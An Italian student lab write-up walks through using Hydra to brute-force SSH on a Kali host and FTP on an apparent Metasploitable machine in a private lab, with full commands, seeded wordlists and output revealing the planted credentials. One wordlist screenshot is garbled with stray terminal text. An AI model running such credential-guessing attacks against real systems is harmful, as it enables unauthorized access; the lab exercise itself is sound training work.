

S6/L5

L'esercizio di oggi L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Iniziamo con la prima fase dove creiamo l'utente con il comando "adduser" che chiamiamo "test_user" con password "testpass".

```
root@kali: /home/kali
File Actions Edit View Help
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:

Sorry, try again.
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
(kali@kali)-[~]
# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1002) ...
info: Adding new user `test_user' (1002) with group `test_user (1002)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Dopo di che attiviamo il servizio di ssh

```
(root@kali)-[/home/kali]
# sudo service ssh start
```

E a queste coordinate /etc/ssh/sshd_config troviamo il file di configurazione in caso avessimo la necessità di cambiare qualcosa.

```
root@kali: /home/kali
File Actions Edit View Help
GNU nano 8.2 /etc/ssh/sshd_config

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes
```

Adesso testiamo la connessione ssh con l'utente e abbiamo avuto successo usando il comando "ssh test_user@192.168.50.10".

```
(kali@kali)-[~]
$ ssh test_user@192.168.50.10
The authenticity of host '192.168.50.10 (192.168.50.10)' can't be established.
ED25519 key fingerprint is SHA256:1EggRgKIoG0jrVC7Vye4H96xwJF/cErG1h2SVSr3H84.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.10' (ED25519) to the list of known hosts.
test_user@192.168.50.10's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$ █
```

Dopo diche siamo pronti a far partire il nostro cracking prima però dobbiamo apportare 2 modifiche dato che la lista di username e password che usiamo (seclists) e davvero enorme e quindi per fare la scansione ci si impiega ore se non giorni.

Per risolvere questo problema andiamo a modificare il file degli username che si trova:

“sudo nano /usr/share/seclists/Names/xato-net-10-million-username.txt”

```
GNU nano 8.2
test_user
info: Only root may add a user or group to the system
admin
2000
michael
NULL
john
david
robert
chris
mike
dave
richard
123456
thomas
steve
mark
andrew
```

Qui mettiamo il nostro user come primo in modo che sia il primo con cui prova.

E dobbiamo replicare la stessa cosa con il file delle password:

“sudo nano /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt”

```
GNU nano 8.2
123456
password
12345678
qwerty
123456789
12345
111111
1234567
dragon
testpass
123123
baseball
abc123
football
monkey
letmein
606060
```

Stessa cosa qui la mettiamo un attimo in basso in modo che faccia qualche prova prima di trovarla subito.

Fatto questo possiamo far partire la sessione di crack con il seguente comando:

```
"hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Password/xato-net-10-million-passwords-1000000.txt 192.168.50.10 -t4 ssh -V"
```

E il nostro output sarà così:

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Password/xato-net-10-million-passwords-1000000.txt 192.168.50.10 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization without permission
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 06:23:44
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries left
[DATA] attacking ssh://192.168.50.10:22/
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "testpass" - 11 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.10 - login "test_user" - pass "123123" - 12 of 8295464295456 [child 3] (0/0)
[22][ssh] host: 192.168.50.10 login: test_user password: testpass
[ATTEMPT] target 192.168.50.10 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.10 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.10 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.10 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 3] (0/0)
```

Come notiamo infatti alla 13 prova ha trovato quello corretto che ci viene evidenziato in verde.

SECONDA FASE:

Dobbiamo effettuare un'altra sessione di cracking ma con un servizio differente, che nel nostro caso abbiamo scelto ftp.

Come prima cosa l'ho installiamo tramite il comando:

```
"sudo apt install vsftpd"
```

```
(kali@kali)-[~]
$ sudo apt install vsftpd
Installing:
vsftpd

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1986
Download size: 142 kB
Space needed: 352 kB / 52.1 GB available

Get:1 http://mirror.init7.net/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (280 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 402377 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy location /etc/passwd:
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.3.1) ...
```

E poi dobbiamo attivarlo con il comando:

"ftp 192.168.50.20"

```
(kali㉿kali)-[~]  
$ ftp 192.168.50.20  
Connected to 192.168.50.20.  
220 (vsFTPD 2.3.4)  
Name (192.168.50.20:kali): msfadmin  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.
```

L'username lo mettiamo come primo mentre la password la inseriamo un po' in mezzo.

```
File Actions Edit View Help  
GNU nano 8.2  
123456 test user  
password: root may add a user or group  
12345678  
qwerty test user  
123456789 test user  
12345 adding user 'test_user' to  
1234 selecting UID/GID from range 1000  
111111 adding new group 'test_user' (1000  
1234567 adding new user 'test_user' (1000  
dragon creating home directory /home/te  
testpassword files from /etc/skel/  
123123 password:  
baseball password:  
abc123 password updated successfully  
football the user information for test:  
monkey the new value, or press ENTER for  
letmein Full Name []:  
696969 Room Number []:  
shadow Work Phone []:  
master Home Phone []:  
666666 Other []: ^  
qwertyuiop information correct? [y/n] y  
123321 adding new user 'test_user' to su  
mustang adding user 'test_user' to group  
1234567890  
michael kali:~$  
654321 kali:~$ ssh start  
pussy  
superman kali:~$  
1qaz2wsx test user@192.168.50.10  
77777777 test user@192.168.50.10's password:  
fuckyou [1 6.8.11-andrew 01 SMP PREEMPT  
121212  
000000 [root] kali:~$  
msfadmin kali:~$  
qazwsx kali:~$
```

Una volta fatto tutto ciò possiamo finalmente avviare la sessione.

Questa volta il codice è leggermente differente, dobbiamo infatti cambiare l'indirizzo IP mettendo quello di meta, alla fine questo è il codice:

```
"hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P  
/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt  
192.168.50.20 -t4 ftp -V"
```

Una volta avviato questo sarà il nostro output:

```
[ATTEMPT] target 192.168.50.20 - login "msfadmin" - pass "1qaz2wsx" - 30 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.20 - login "msfadmin" - pass "7777777" - 31 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.20 - login "msfadmin" - pass "fuckyou" - 32 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.20 - login "msfadmin" - pass "121212" - 33 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.20 - login "msfadmin" - pass "000000" - 34 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.20 - login "msfadmin" - pass "msfadmin" - 35 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.20 - login "msfadmin" - pass "qazwsx" - 36 of 8295473590914 [child 2] (0/0)
[21][ftp] host: 192.168.50.20 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.50.20 - login "test_user" - pass "123456" - 1000003 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.20 - login "test_user" - pass "password" - 1000004 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.20 - login "test_user" - pass "12345678" - 1000005 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.20 - login "test_user" - pass "qwerty" - 1000006 of 8295473590914 [child 2] (0/0)
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Come possiamo notare viene trovato correttamente.